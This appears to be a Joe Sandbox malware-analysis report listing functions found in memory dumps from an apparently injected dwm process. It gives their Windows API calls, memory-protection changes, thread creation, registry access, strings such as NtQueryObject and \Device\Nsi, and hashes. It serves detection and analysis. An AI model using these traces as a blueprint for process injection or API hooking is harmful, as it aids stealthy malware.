Opcode ID: a8802b86f0811ea88e9113a3d60b8cb8649c82089feb35d3c44dd7bdfe1e6621
Instruction ID: 113d874613f57faf1c3d3c0931de7e41e3b34176619d4f2ec985b1f6127f3510
Opcode Fuzzy Hash: a8802b86f0811ea88e9113a3d60b8cb8649c82089feb35d3c44dd7bdfe1e6621
Instruction Fuzzy Hash: 4E317332219E50C1EA32CA55E06C34A62B0F398788F940635E6CD06FE8DF3EC5458B01

Function 00000262F1CA3A1C Relevance: 4.5, APIs: 3, Instructions: 39
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 00000262F1CA3A35
PathFindFileNameW.SHLWAPI ref: 00000262F1CA3A44

Part of subcall function 00000262F1CA3F88: StrCmpNIW.SHLWAPI(?,?,?,00000262F1CA272F), ref: 00000262F1CA3FA0

Part of subcall function 00000262F1CA3EC8: GetModuleHandleW.KERNEL32(?,?,?,?,?,00000262F1CA3A5B), ref: 00000262F1CA3EDB
Part of subcall function 00000262F1CA3EC8: GetCurrentProcess.KERNEL32(?,?,?,?,?,00000262F1CA3A5B), ref: 00000262F1CA3F0E
Part of subcall function 00000262F1CA3EC8: VirtualProtectEx.KERNELBASE(?,?,?,?,?,00000262F1CA3A5B), ref: 00000262F1CA3F2E
Part of subcall function 00000262F1CA3EC8: GetCurrentProcess.KERNEL32(?,?,?,?,?,00000262F1CA3A5B), ref: 00000262F1CA3F47
Part of subcall function 00000262F1CA3EC8: VirtualProtectEx.KERNELBASE(?,?,?,?,?,00000262F1CA3A5B), ref: 00000262F1CA3F68

CreateThread.KERNELBASE ref: 00000262F1CA3A8B

Part of subcall function 00000262F1CA1E74: GetCurrentThread.KERNEL32 ref: 00000262F1CA1E7F
Part of subcall function 00000262F1CA1E74: CreateThread.KERNELBASE ref: 00000262F1CA2043
Part of subcall function 00000262F1CA1E74: TlsAlloc.KERNEL32 ref: 00000262F1CA2049
Part of subcall function 00000262F1CA1E74: TlsAlloc.KERNEL32 ref: 00000262F1CA2055
Part of subcall function 00000262F1CA1E74: TlsAlloc.KERNEL32 ref: 00000262F1CA2061
Part of subcall function 00000262F1CA1E74: TlsAlloc.KERNEL32 ref: 00000262F1CA206D
Part of subcall function 00000262F1CA1E74: TlsAlloc.KERNEL32 ref: 00000262F1CA2079
Part of subcall function 00000262F1CA1E74: TlsAlloc.KERNEL32 ref: 00000262F1CA2085

Memory Dump Source

Source File: 00000012.00000002.3447566780.00000262F1CA1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000262F1CA0000, based on PE: true

Associated: 00000012.00000002.3447461846.00000262F1CA0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447674523.00000262F1CB5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447777990.00000262F1CC0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447881409.00000262F1CC2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447984338.00000262F1CC9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_262f1ca0000_dwm.jbxd

Similarity

API ID: Alloc$CurrentThread$CreateFileModuleNameProcessProtectVirtual$FindHandlePath
String ID:
API String ID: 2779030803-0
Opcode ID: 6a579ca0c7c2c8c467e4d6158b23fada6777a03145598802ad2919fe2a24b2e1
Instruction ID: 7fff679199f1ecd37278205970ca41dcd2c70594ea1e970d41fe7a7b43ecd5d2
Opcode Fuzzy Hash: 6a579ca0c7c2c8c467e4d6158b23fada6777a03145598802ad2919fe2a24b2e1
Instruction Fuzzy Hash: 5C115E71E10E71C2FBA2D7A1A97E39D22B0AB94745FD06139D50681DD1EF7BC85C8603

Function 00000262F1CA5530 Relevance: 4.5, APIs: 3, Instructions: 23
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 00000262F1CA5534
VirtualProtect.KERNEL32 ref: 00000262F1CA5577
FlushInstructionCache.KERNEL32 ref: 00000262F1CA558C

Memory Dump Source

Source File: 00000012.00000002.3447566780.00000262F1CA1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000262F1CA0000, based on PE: true

Associated: 00000012.00000002.3447461846.00000262F1CA0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447674523.00000262F1CB5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447777990.00000262F1CC0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447881409.00000262F1CC2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447984338.00000262F1CC9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_262f1ca0000_dwm.jbxd

Similarity

API ID: CacheCurrentFlushInstructionProcessProtectVirtual
String ID:
API String ID: 3733156554-0
Opcode ID: b3b9d40e5005b69779f21a3a3f4c2159e48617e69c58b355d88cafa2766b084c
Instruction ID: bd65f0c0dfe88095e0bd2db25d9ad990b675354b195ed4d64c5b7365e349397c
Opcode Fuzzy Hash: b3b9d40e5005b69779f21a3a3f4c2159e48617e69c58b355d88cafa2766b084c
Instruction Fuzzy Hash: B1F0F476228F54C0D6219B06F46934AA7B1F388BD4F944125AA8D47FE9CA3AC6888F01

Function 00000262F1CA1BC4 Relevance: 1.6, APIs: 1, Instructions: 68
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00000262F1CA1724: GetProcessHeap.KERNEL32 ref: 00000262F1CA172F
Part of subcall function 00000262F1CA1724: HeapAlloc.KERNEL32 ref: 00000262F1CA173E
Part of subcall function 00000262F1CA1724: RegOpenKeyExW.KERNELBASE ref: 00000262F1CA17AE
Part of subcall function 00000262F1CA1724: RegOpenKeyExW.KERNELBASE ref: 00000262F1CA17DB
Part of subcall function 00000262F1CA1724: RegCloseKey.ADVAPI32 ref: 00000262F1CA17F5
Part of subcall function 00000262F1CA1724: RegOpenKeyExW.KERNELBASE ref: 00000262F1CA1815
Part of subcall function 00000262F1CA1724: RegCloseKey.KERNELBASE ref: 00000262F1CA1830
Part of subcall function 00000262F1CA1724: RegOpenKeyExW.KERNELBASE ref: 00000262F1CA1850
Part of subcall function 00000262F1CA1724: RegCloseKey.ADVAPI32 ref: 00000262F1CA186B
Part of subcall function 00000262F1CA1724: RegOpenKeyExW.KERNELBASE ref: 00000262F1CA188B
Part of subcall function 00000262F1CA1724: RegCloseKey.ADVAPI32 ref: 00000262F1CA18A6
Part of subcall function 00000262F1CA1724: RegOpenKeyExW.KERNELBASE ref: 00000262F1CA18C6

SleepEx.KERNELBASE ref: 00000262F1CA1BDF

Part of subcall function 00000262F1CA1724: RegCloseKey.ADVAPI32 ref: 00000262F1CA18E1
Part of subcall function 00000262F1CA1724: RegOpenKeyExW.KERNELBASE ref: 00000262F1CA1901
Part of subcall function 00000262F1CA1724: RegCloseKey.ADVAPI32 ref: 00000262F1CA191C
Part of subcall function 00000262F1CA1724: RegOpenKeyExW.KERNELBASE ref: 00000262F1CA193C
Part of subcall function 00000262F1CA1724: RegCloseKey.ADVAPI32 ref: 00000262F1CA1957
Part of subcall function 00000262F1CA1724: RegOpenKeyExW.KERNELBASE ref: 00000262F1CA1977
Part of subcall function 00000262F1CA1724: RegCloseKey.ADVAPI32 ref: 00000262F1CA1992
Part of subcall function 00000262F1CA1724: RegCloseKey.KERNELBASE ref: 00000262F1CA199C

Memory Dump Source

Source File: 00000012.00000002.3447566780.00000262F1CA1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000262F1CA0000, based on PE: true

Associated: 00000012.00000002.3447461846.00000262F1CA0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447674523.00000262F1CB5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447777990.00000262F1CC0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447881409.00000262F1CC2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447984338.00000262F1CC9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_262f1ca0000_dwm.jbxd

Similarity

API ID: CloseOpen$Heap$AllocProcessSleep
String ID:
API String ID: 948135145-0
Opcode ID: 04a7d6bb1a63501d3af889adb59d0fd65c45e2a3bb55e477ac55990fbc3a1c41
Instruction ID: ece9f4fb75c60a0ffb29cf2b96853b0ceff0fece9c3269e6bc48935afae10d06
Opcode Fuzzy Hash: 04a7d6bb1a63501d3af889adb59d0fd65c45e2a3bb55e477ac55990fbc3a1c41
Instruction Fuzzy Hash: 27314179300E61C1FB529B67D56C36923B5EB44FC4F8854319E0A87FD6EE26C8588316

Function 00000262F1CAF370 Relevance: 1.5, APIs: 1, Instructions: 11
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE ref: 00000262F1CAF390

Memory Dump Source

Source File: 00000012.00000002.3447566780.00000262F1CA1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000262F1CA0000, based on PE: true

Associated: 00000012.00000002.3447461846.00000262F1CA0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447674523.00000262F1CB5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447777990.00000262F1CC0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447881409.00000262F1CC2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447984338.00000262F1CC9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_262f1ca0000_dwm.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: b40d5d27bf97adee7439d23d1349d8a0deaf4876dc796fe70c0d47fc6773842e
Instruction ID: f2e922bfa1bbf5c3a7d3d203004e5cb1834a0676a9aecda2eaacdf51f705b8f8
Opcode Fuzzy Hash: b40d5d27bf97adee7439d23d1349d8a0deaf4876dc796fe70c0d47fc6773842e
Instruction Fuzzy Hash: E5D0C935731950C3E300DB12E8497966238B398701FC04015E94982A948B7DC659CB51

Function 00000262F1D0F370 Relevance: 1.5, APIs: 1, Instructions: 11
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE ref: 00000262F1D0F390

Memory Dump Source

Source File: 00000012.00000002.3448257654.00000262F1D01000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000262F1D00000, based on PE: true

Associated: 00000012.00000002.3448137506.00000262F1D00000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448432455.00000262F1D15000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448513222.00000262F1D20000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448655925.00000262F1D22000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448714516.00000262F1D29000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_262f1d00000_dwm.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: b40d5d27bf97adee7439d23d1349d8a0deaf4876dc796fe70c0d47fc6773842e
Instruction ID: f00f757df4a10957ec3c18d2ce7bea6e40a0d13cbce99772594dd902569dc966
Opcode Fuzzy Hash: b40d5d27bf97adee7439d23d1349d8a0deaf4876dc796fe70c0d47fc6773842e
Instruction Fuzzy Hash: D7D0C9357319A0C3F304DB52D849B956278B398701FC04005E94992A948B7DC259CB50

Function 00000262F1D3F370 Relevance: 1.5, APIs: 1, Instructions: 11
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE ref: 00000262F1D3F390

Memory Dump Source

Source File: 00000012.00000002.3448872342.00000262F1D31000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000262F1D30000, based on PE: true

Associated: 00000012.00000002.3448816247.00000262F1D30000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448971011.00000262F1D45000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3449077595.00000262F1D50000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3449181058.00000262F1D52000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3449289748.00000262F1D59000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_262f1d30000_dwm.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: b40d5d27bf97adee7439d23d1349d8a0deaf4876dc796fe70c0d47fc6773842e
Instruction ID: 43e1f4af8a9e6e3e10bd71d104b3159c7a2b8a9c3119750c479f742642c2db56
Opcode Fuzzy Hash: b40d5d27bf97adee7439d23d1349d8a0deaf4876dc796fe70c0d47fc6773842e
Instruction Fuzzy Hash: 8DD0C935731960C3E3049B12D84A7966238B398701FC04005E94992A949B7DC259CB50

Non-executed Functions

Function 00000262F1CA2FF0 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 256stringlibraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 00000262F1CA3094
lstrlenW.KERNEL32 ref: 00000262F1CA32BE

Part of subcall function 00000262F1CA1A30: OpenProcess.KERNEL32 ref: 00000262F1CA1A56
Part of subcall function 00000262F1CA1A30: K32GetModuleFileNameExW.KERNEL32 ref: 00000262F1CA1A74
Part of subcall function 00000262F1CA1A30: PathFindFileNameW.SHLWAPI ref: 00000262F1CA1A83
Part of subcall function 00000262F1CA1A30: lstrlenW.KERNEL32 ref: 00000262F1CA1A8F
Part of subcall function 00000262F1CA1A30: StrCpyW.SHLWAPI ref: 00000262F1CA1AA2
Part of subcall function 00000262F1CA1A30: CloseHandle.KERNEL32 ref: 00000262F1CA1AB0

GetProcAddress.KERNEL32 ref: 00000262F1CA30A9

Part of subcall function 00000262F1CA3F88: StrCmpNIW.SHLWAPI(?,?,?,00000262F1CA272F), ref: 00000262F1CA3FA0

StrCmpNIW.SHLWAPI ref: 00000262F1CA30EC
lstrlenW.KERNEL32 ref: 00000262F1CA3214

Strings

ntdll.dll, xrefs: 00000262F1CA308D
NtQueryObject, xrefs: 00000262F1CA309F
\Device\Nsi, xrefs: 00000262F1CA30DF

Memory Dump Source

Source File: 00000012.00000002.3447566780.00000262F1CA1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000262F1CA0000, based on PE: true

Associated: 00000012.00000002.3447461846.00000262F1CA0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447674523.00000262F1CB5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447777990.00000262F1CC0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447881409.00000262F1CC2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447984338.00000262F1CC9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_262f1ca0000_dwm.jbxd

Similarity

API ID: lstrlen$FileHandleModuleName$AddressCloseFindOpenPathProcProcess
String ID: NtQueryObject$\Device\Nsi$ntdll.dll
API String ID: 2119608203-3850299575
Opcode ID: 4d584b0e9fffbad4cc31b9baeef7d8a5c9f9b6ed13c09f6337f8d347bcf38d45
Instruction ID: 69f3d3eaa3d6884608b45df35872c1e03a97c7c2da1dea68ca9ba8341c18b76f
Opcode Fuzzy Hash: 4d584b0e9fffbad4cc31b9baeef7d8a5c9f9b6ed13c09f6337f8d347bcf38d45
Instruction Fuzzy Hash: 5AB17B72215AA0C2EB668F66D42D7A9A3B4F744F84F946026EE0993FD5DE36CC48C341

Function 00000262F1D02FF0 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 256stringlibraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 00000262F1D03094
lstrlenW.KERNEL32 ref: 00000262F1D032BE

Part of subcall function 00000262F1D01A30: OpenProcess.KERNEL32 ref: 00000262F1D01A56
Part of subcall function 00000262F1D01A30: K32GetModuleFileNameExW.KERNEL32 ref: 00000262F1D01A74
Part of subcall function 00000262F1D01A30: PathFindFileNameW.SHLWAPI ref: 00000262F1D01A83
Part of subcall function 00000262F1D01A30: lstrlenW.KERNEL32 ref: 00000262F1D01A8F
Part of subcall function 00000262F1D01A30: StrCpyW.SHLWAPI ref: 00000262F1D01AA2
Part of subcall function 00000262F1D01A30: CloseHandle.KERNEL32 ref: 00000262F1D01AB0

GetProcAddress.KERNEL32 ref: 00000262F1D030A9

Part of subcall function 00000262F1D03F88: StrCmpNIW.SHLWAPI(?,?,?,00000262F1D0272F), ref: 00000262F1D03FA0

StrCmpNIW.SHLWAPI ref: 00000262F1D030EC
lstrlenW.KERNEL32 ref: 00000262F1D03214

Strings

NtQueryObject, xrefs: 00000262F1D0309F
ntdll.dll, xrefs: 00000262F1D0308D
\Device\Nsi, xrefs: 00000262F1D030DF

Memory Dump Source

Source File: 00000012.00000002.3448257654.00000262F1D01000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000262F1D00000, based on PE: true

Associated: 00000012.00000002.3448137506.00000262F1D00000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448432455.00000262F1D15000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448513222.00000262F1D20000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448655925.00000262F1D22000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448714516.00000262F1D29000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_262f1d00000_dwm.jbxd

Similarity

API ID: lstrlen$FileHandleModuleName$AddressCloseFindOpenPathProcProcess
String ID: NtQueryObject$\Device\Nsi$ntdll.dll
API String ID: 2119608203-3850299575
Opcode ID: 4d584b0e9fffbad4cc31b9baeef7d8a5c9f9b6ed13c09f6337f8d347bcf38d45
Instruction ID: 9208176f5fd25b37848e597e8bf149f358517d6189f1a7bc1efe39fde8843191
Opcode Fuzzy Hash: 4d584b0e9fffbad4cc31b9baeef7d8a5c9f9b6ed13c09f6337f8d347bcf38d45
Instruction Fuzzy Hash: C3B17E72210EA0EAEB698F66D54C7A9A3B4F744F84F945016EE0953F98DF36CD88C740

Function 00000262F1D32FF0 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 256stringlibraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 00000262F1D33094
lstrlenW.KERNEL32 ref: 00000262F1D332BE

Part of subcall function 00000262F1D31A30: OpenProcess.KERNEL32 ref: 00000262F1D31A56
Part of subcall function 00000262F1D31A30: K32GetModuleFileNameExW.KERNEL32 ref: 00000262F1D31A74
Part of subcall function 00000262F1D31A30: PathFindFileNameW.SHLWAPI ref: 00000262F1D31A83
Part of subcall function 00000262F1D31A30: lstrlenW.KERNEL32 ref: 00000262F1D31A8F
Part of subcall function 00000262F1D31A30: StrCpyW.SHLWAPI ref: 00000262F1D31AA2
Part of subcall function 00000262F1D31A30: CloseHandle.KERNEL32 ref: 00000262F1D31AB0

GetProcAddress.KERNEL32 ref: 00000262F1D330A9

Part of subcall function 00000262F1D33F88: StrCmpNIW.SHLWAPI(?,?,?,00000262F1D3272F), ref: 00000262F1D33FA0

StrCmpNIW.SHLWAPI ref: 00000262F1D330EC
lstrlenW.KERNEL32 ref: 00000262F1D33214

Strings

ntdll.dll, xrefs: 00000262F1D3308D
\Device\Nsi, xrefs: 00000262F1D330DF
NtQueryObject, xrefs: 00000262F1D3309F

Memory Dump Source

Source File: 00000012.00000002.3448872342.00000262F1D31000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000262F1D30000, based on PE: true

Associated: 00000012.00000002.3448816247.00000262F1D30000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448971011.00000262F1D45000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3449077595.00000262F1D50000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3449181058.00000262F1D52000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3449289748.00000262F1D59000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_262f1d30000_dwm.jbxd

Similarity

API ID: lstrlen$FileHandleModuleName$AddressCloseFindOpenPathProcProcess
String ID: NtQueryObject$\Device\Nsi$ntdll.dll
API String ID: 2119608203-3850299575
Opcode ID: 4d584b0e9fffbad4cc31b9baeef7d8a5c9f9b6ed13c09f6337f8d347bcf38d45
Instruction ID: e46fba9edd0b816e117b2557f57403e9d5e8241ef2745bd9b2dfa81438edb6b6
Opcode Fuzzy Hash: 4d584b0e9fffbad4cc31b9baeef7d8a5c9f9b6ed13c09f6337f8d347bcf38d45
Instruction Fuzzy Hash: FAB17D36210EA0E2EB688F66D64D7A9A3B4F744B84F849016EE4D57F94DF36CD88C740

Function 00000262F1CA84B0 Relevance: 10.6, APIs: 7, Instructions: 71COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00000262F1CA84CC
RtlCaptureContext.NTDLL ref: 00000262F1CA84F9
RtlLookupFunctionEntry.NTDLL ref: 00000262F1CA8513
RtlVirtualUnwind.NTDLL ref: 00000262F1CA8554
IsDebuggerPresent.KERNEL32 ref: 00000262F1CA85A8
SetUnhandledExceptionFilter.KERNEL32 ref: 00000262F1CA85C5
UnhandledExceptionFilter.KERNEL32 ref: 00000262F1CA85D0

Memory Dump Source

Source File: 00000012.00000002.3447566780.00000262F1CA1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000262F1CA0000, based on PE: true

Associated: 00000012.00000002.3447461846.00000262F1CA0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447674523.00000262F1CB5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447777990.00000262F1CC0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447881409.00000262F1CC2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447984338.00000262F1CC9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_262f1ca0000_dwm.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 51ce79795580dd11982ca28bc6e50e7f34313ca15137cb51b6721156f23fd73c
Instruction ID: de3898a97a84e47f03e0277eae2282252cdc9e1c4227fc05dafa4fd36ecf113e
Opcode Fuzzy Hash: 51ce79795580dd11982ca28bc6e50e7f34313ca15137cb51b6721156f23fd73c
Instruction Fuzzy Hash: EA313672205F90CAEB60CF61E8587EE6374F784748F84402ADA4E87BD9DF39C6488B11

Function 00000262F1D084B0 Relevance: 10.6, APIs: 7, Instructions: 71COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00000262F1D084CC
RtlCaptureContext.NTDLL ref: 00000262F1D084F9
RtlLookupFunctionEntry.NTDLL ref: 00000262F1D08513
RtlVirtualUnwind.NTDLL ref: 00000262F1D08554
IsDebuggerPresent.KERNEL32 ref: 00000262F1D085A8
SetUnhandledExceptionFilter.KERNEL32 ref: 00000262F1D085C5
UnhandledExceptionFilter.KERNEL32 ref: 00000262F1D085D0

Memory Dump Source

Source File: 00000012.00000002.3448257654.00000262F1D01000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000262F1D00000, based on PE: true

Associated: 00000012.00000002.3448137506.00000262F1D00000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448432455.00000262F1D15000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448513222.00000262F1D20000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448655925.00000262F1D22000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448714516.00000262F1D29000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_262f1d00000_dwm.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 51ce79795580dd11982ca28bc6e50e7f34313ca15137cb51b6721156f23fd73c
Instruction ID: 3af119f925bd1c4d657a86cb189ef0273533cc4d83509680832d29b866cbf17a
Opcode Fuzzy Hash: 51ce79795580dd11982ca28bc6e50e7f34313ca15137cb51b6721156f23fd73c
Instruction Fuzzy Hash: 63313972605F90C6FB608F61E8883EE6374F789744F84402ADA4E57B99DF79C648CB10

Function 00000262F1CACD80 Relevance: 9.1, APIs: 6, Instructions: 86COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 00000262F1CACE0B
RtlLookupFunctionEntry.NTDLL ref: 00000262F1CACE23
RtlVirtualUnwind.NTDLL ref: 00000262F1CACE5E
IsDebuggerPresent.KERNEL32 ref: 00000262F1CACE97
SetUnhandledExceptionFilter.KERNEL32 ref: 00000262F1CACEA1
UnhandledExceptionFilter.KERNEL32 ref: 00000262F1CACEAC

Memory Dump Source

Source File: 00000012.00000002.3447566780.00000262F1CA1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000262F1CA0000, based on PE: true

Associated: 00000012.00000002.3447461846.00000262F1CA0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447674523.00000262F1CB5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447777990.00000262F1CC0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447881409.00000262F1CC2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447984338.00000262F1CC9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_262f1ca0000_dwm.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 76c33bf84c009b7db417edaf83874ce51c27584cf70d0f0be3d694c1c6751581
Instruction ID: 242f319d45f79e06df35416f8a483474c1987fa3c154e71153dec5f1e2001d11
Opcode Fuzzy Hash: 76c33bf84c009b7db417edaf83874ce51c27584cf70d0f0be3d694c1c6751581
Instruction Fuzzy Hash: 59414836214F90C6EB61CB25E8583AA73B4F788754F900225EB8D86BD9DF39C559CB01

Function 00000262F1D0CD80 Relevance: 9.1, APIs: 6, Instructions: 86COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 00000262F1D0CE0B
RtlLookupFunctionEntry.NTDLL ref: 00000262F1D0CE23
RtlVirtualUnwind.NTDLL ref: 00000262F1D0CE5E
IsDebuggerPresent.KERNEL32 ref: 00000262F1D0CE97
SetUnhandledExceptionFilter.KERNEL32 ref: 00000262F1D0CEA1
UnhandledExceptionFilter.KERNEL32 ref: 00000262F1D0CEAC

Memory Dump Source

Source File: 00000012.00000002.3448257654.00000262F1D01000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000262F1D00000, based on PE: true

Associated: 00000012.00000002.3448137506.00000262F1D00000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448432455.00000262F1D15000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448513222.00000262F1D20000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448655925.00000262F1D22000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448714516.00000262F1D29000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_262f1d00000_dwm.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 76c33bf84c009b7db417edaf83874ce51c27584cf70d0f0be3d694c1c6751581
Instruction ID: cb444bd1594bb2f39c8282772ae346ffb350d46afaddabb2239a75e745ec8411
Opcode Fuzzy Hash: 76c33bf84c009b7db417edaf83874ce51c27584cf70d0f0be3d694c1c6751581
Instruction Fuzzy Hash: 41416D36214F90C6EB60CF25E84839E73B4F789B94F900125EA9D57BA9DF39C559CB00

Function 00000262F1CADA18 Relevance: 6.2, APIs: 4, Instructions: 240fileCOMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32 ref: 00000262F1CADB99
FindNextFileW.KERNEL32 ref: 00000262F1CADCCF
FindClose.KERNEL32 ref: 00000262F1CADD0F
FindClose.KERNEL32 ref: 00000262F1CADD3B

Memory Dump Source

Source File: 00000012.00000002.3447566780.00000262F1CA1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000262F1CA0000, based on PE: true

